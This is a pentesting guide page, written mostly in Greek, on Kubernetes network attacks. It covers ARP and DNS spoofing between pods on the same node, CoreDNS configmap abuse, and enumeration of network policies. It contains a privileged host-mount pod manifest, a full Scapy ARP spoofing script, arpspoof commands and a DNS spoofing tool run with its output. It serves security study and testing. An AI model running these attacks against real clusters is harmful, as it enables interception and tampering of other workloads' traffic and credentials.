Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
T

17 KiB
Raw Blame History

Kubernetes Network Attacks

{{#include ../../banners/hacktricks-training.md}}

Introduction

Στο Kubernetes, παρατηρείται ότι μια default συμπεριφορά επιτρέπει τη δημιουργία συνδέσεων μεταξύ όλων των containers που βρίσκονται στον ίδιο node. Αυτό ισχύει ανεξάρτητα από τις namespace διακρίσεις. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το Layer 2 (Ethernet). Κατά συνέπεια, αυτή η διαμόρφωση εκθέτει δυνητικά το σύστημα σε vulnerabilities. Συγκεκριμένα, ανοίγει τη δυνατότητα για ένα malicious container να εκτελέσει ένα ARP spoofing attack εναντίον άλλων containers που βρίσκονται στον ίδιο node. Κατά τη διάρκεια ενός τέτοιου attack, το malicious container μπορεί να υποκλέψει ή να τροποποιήσει δόλια την network traffic που προορίζεται για άλλα containers.

Τα ARP spoofing attacks περιλαμβάνουν τον attacker να στέλνει falsified ARP (Address Resolution Protocol) μηνύματα σε ένα local area network. Αυτό έχει ως αποτέλεσμα τη σύνδεση της MAC address του attacker με την IP address ενός νόμιμου computer ή server στο network. Μετά την επιτυχή εκτέλεση ενός τέτοιου attack, ο attacker μπορεί να υποκλέψει, να τροποποιήσει ή ακόμη και να σταματήσει data in-transit. Το attack εκτελείται στο Layer 2 του OSI model, γι' αυτό και η default connectivity στο Kubernetes σε αυτό το layer εγείρει concerns ασφάλειας.

Στο scenario θα δημιουργηθούν 4 machines:

  • ubuntu-pe: Privileged machine για escape στο node και έλεγχο metrics (δεν χρειάζεται για το attack)
  • ubuntu-attack: Malicious container στο default namespace
  • ubuntu-victim: Victim machine στο kube-system namespace
  • mysql: Victim machine στο default namespace
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Βασική Kubernetes Δικτύωση

Αν θέλεις περισσότερες λεπτομέρειες για τα networking topics που παρουσιάζονται εδώ, πήγαινε στις references.

ARP

Γενικά, το pod-to-pod networking inside the node είναι διαθέσιμο μέσω ενός bridge που συνδέει όλα τα pods. Αυτό το bridge ονομάζεται “cbr0”. (Κάποια network plugins θα εγκαταστήσουν το δικό τους bridge.) Το cbr0 can also handle ARP (Address Resolution Protocol) resolution. Όταν ένα incoming packet φτάνει στο cbr0, μπορεί να επιλύσει τη destination MAC address χρησιμοποιώντας ARP.

Αυτό το γεγονός υποδηλώνει ότι, by default, κάθε pod που τρέχει στο ίδιο node θα μπορεί να communicate με οποιοδήποτε άλλο pod στο ίδιο node (ανεξάρτητα από το namespace) σε ethernet level (layer 2).

Warning

Επομένως, είναι δυνατό να εκτελεστούν ARP Spoofing attacks μεταξύ pods στο ίδιο node.

NetworkPolicy and admin policy layers

Το Kubernetes NetworkPolicy είναι ένα pod traffic control στο L3/L4, αλλά enforced by the CNI plugin και όχι από το API server itself. Ένα cluster μπορεί να αποθηκεύει NetworkPolicy objects ενώ εξακολουθεί να επιτρέπει traffic αν το active CNI δεν τα implement them, οπότε πάντα να κάνεις validate με ένα controlled allowed source και ένα blocked negative-control source.

Μην σταματάς στο kubectl get networkpolicy -A. Clusters που χρησιμοποιούν Cilium, Calico, OVN-Kubernetes, Antrea, ή managed-provider dataplanes μπορεί επίσης να έχουν policy APIs όπως CiliumNetworkPolicy, CiliumClusterwideNetworkPolicy, Calico GlobalNetworkPolicy, AdminNetworkPolicy, ή BaselineAdminNetworkPolicy. Αυτά μπορούν να προσθέσουν explicit deny, tier/order, cluster scope, L7/DNS rules, ή admin guardrails που τα συνηθισμένα additive Kubernetes NetworkPolicy semantics δεν εξηγούν.

Χρήσιμοι πρώτοι έλεγχοι:

kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null

Για bypass analysis, ελέγξτε αν το intended block αποφεύγεται μέσω ενός allowed proxy, DNS ή egress gateway, hostNetwork pod, node-local path, broad namespace ή pod label selector, ή ενός higher-precedence admin/global policy. Αναφέρετε τα source pod labels, namespace labels, destination Service ή EndpointSlice, CNI/policy implementation, deciding policy rule, και traffic proof.

DNS

Σε kubernetes environments θα βρείτε συνήθως 1 (ή περισσότερα) DNS services running συνήθως στο kube-system namespace:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Στις προηγούμενες πληροφορίες μπορείς να δεις κάτι ενδιαφέρον, το IP της service είναι 10.96.0.10 αλλά το IP του pod που τρέχει τη service είναι 172.17.0.2.

Αν ελέγξεις τη DNS address μέσα σε οποιοδήποτε pod θα βρεις κάτι σαν αυτό:

cat /etc/resolv.conf
nameserver 10.96.0.10

Ωστόσο, το pod δεν ξέρει πώς να φτάσει σε αυτή τη διεύθυνση επειδή το pod range σε αυτή την περίπτωση είναι 172.17.0.10/26.

Επομένως, το pod θα στείλει τα DNS requests στη διεύθυνση 10.96.0.10 η οποία θα translated από το cbr0 to 172.17.0.2.

Warning

Αυτό σημαίνει ότι ένα DNS request από ένα pod πάντα θα πηγαίνει στο bridge για να translate το service IP to the endpoint IP, ακόμα κι αν ο DNS server βρίσκεται στο ίδιο subnetwork με το pod.

Γνωρίζοντας αυτό, και γνωρίζοντας ότι οι ARP attacks are possible, ένα pod σε έναν node θα μπορεί να intercept the traffic ανάμεσα σε each pod στο subnetwork και το bridge και να modify τα DNS responses από τον DNS server (DNS Spoofing).

Επιπλέον, αν ο DNS server βρίσκεται στον same node as the attacker, ο attacker μπορεί να intercept all the DNS request οποιουδήποτε pod στο cluster (ανάμεσα στον DNS server και το bridge) και να modify τα responses.

Note

Επαληθεύστε το ενεργό CNI και το DNS path πριν υποθέσετε ότι αυτό λειτουργεί σε πραγματικό cluster. Κάποια CNIs δρομολογούν ή απομονώνουν με διαφορετικό τρόπο το same-node traffic, και clusters που χρησιμοποιούν NodeLocal DNSCache μπορεί να στέλνουν DNS queries των pods σε μια node-local διεύθυνση πριν τα προωθήσουν στο CoreDNS. Σε αυτά τα περιβάλλοντα, το DNS spoofing εξαρτάται από το pod placement, τις packet capabilities, τη resolver configuration, τη συμπεριφορά του node-local cache και από το αν οι εφαρμογές επαληθεύουν peers με TLS ή άλλο identity mechanism.

ARP Spoofing σε pods στο ίδιο Node

Στόχος μας είναι να κλέψουμε τουλάχιστον την επικοινωνία από το ubuntu-victim προς το mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Όπως είχε ήδη αναφερθεί, αν compromise ένα pod στον ίδιο node με το pod του DNS server, μπορείς να κάνεις MitM με ARPSpoofing το bridge και το DNS pod και να modify all the DNS responses.

Έχεις ένα πολύ ωραίο tool και tutorial για να το δοκιμάσεις εδώ https://github.com/danielsagi/kube-dnsspoof/

Στο σενάριό μας, download το tool στο attacker pod και δημιούργησε ένα file named hosts με τα domains που θέλεις να spoof όπως:

cat hosts
google.com. 1.1.1.1

Εκτέλεσε την attack στο ubuntu-victim machine:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Note

Αν προσπαθήσεις να δημιουργήσεις το δικό σου DNS spoofing script, αν απλώς τροποποιήσεις το DNS response αυτό δεν θα δουλέψει, γιατί το response θα έχει src IP τη διεύθυνση IP του malicious pod και δεν θα γίνει αποδεκτό.
Πρέπει να δημιουργήσεις ένα new DNS packet με το src IP του DNS όπου το victim έστειλε το DNS request (που είναι κάτι σαν 172.16.0.2, όχι 10.96.0.10, αυτό είναι το K8s DNS service IP και όχι το DNS server ip, περισσότερα γι' αυτό στην εισαγωγή).

DNS Spoofing via coreDNS configmap

A user with write permissions over the configmap coredns in the kube-system namespace can modify the DNS responses of the cluster.

Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.

Check more information about this attack in:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

Abusing exposed kubernetes management services

Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to find any platform used to manage kubernetes and access it can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them.

Enumerating kubernetes network policies

Get configured networkpolicies:

kubectl get networkpolicies --all-namespaces

Λάβε τις network policies του Callico:

kubectl get globalnetworkpolicy --all-namespaces

Λάβετε τα network policies του Cillium:

kubectl get ciliumnetworkpolicy --all-namespaces

Λάβε άλλα policy-related CRDs που έχουν εγκατασταθεί από το network plugin ή το security solution σου:

kubectl get crd | grep -i policy

Capturing Traffic

Το εργαλείο Mizu είναι ένα απλό αλλά ισχυρό API traffic viewer για Kubernetes που σου επιτρέπει να δεις όλη την API communication μεταξύ microservices για να βοηθήσει στο debug και στο troubleshooting regressions.
Θα εγκαταστήσει agents στα επιλεγμένα pods και θα συλλέξει τις traffic information τους και θα σου τις δείξει σε έναν web server. Ωστόσο, θα χρειαστείς υψηλά K8s permissions για αυτό (και δεν είναι ιδιαίτερα stealthy).

References

{{#include ../../banners/hacktricks-training.md}}